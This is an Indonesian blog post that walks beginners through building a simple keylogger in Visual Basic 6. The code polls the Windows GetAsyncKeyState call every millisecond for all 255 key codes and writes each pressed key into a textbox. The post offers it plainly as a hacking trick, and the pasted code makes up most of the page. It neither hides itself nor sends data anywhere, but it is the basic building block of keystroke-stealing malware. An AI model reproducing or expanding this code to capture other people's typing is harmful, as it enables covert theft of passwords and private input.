mungkin rada basi...buat yg pinter vb tapi lumayan kan buat yg blom tau..... dah lansung ajah ya....
1.buka vb mu dan pilih standard exe
2. tambahin :
-1text
-1timer
ScreenShoot Di Samping >>
3.klik kanan di from1 terus pilih view code
Terus copas ni codenya :
Private declare function GetAsyncKeyState lib "user32" (ByVal vkey as long) as integer Private Sub Form_Load () Timer1.Interval = 1 Timer1.Enabled = TrueEnd Sub Private Sub Timer1_Timer () Dim a As Integer For a = 1 To 255 if GetAsyncKeyState (a) = -32767 Then Text1.Text = Text1.Text & Chr (a) End if Next aEnd Sub
dah segini dlo ajah.... nanti update lagi
kalo gk berguna hapus ajah oke....
Create : [E]Cheaterz-[R]Hackerz
Tidak ada komentar:
Posting Komentar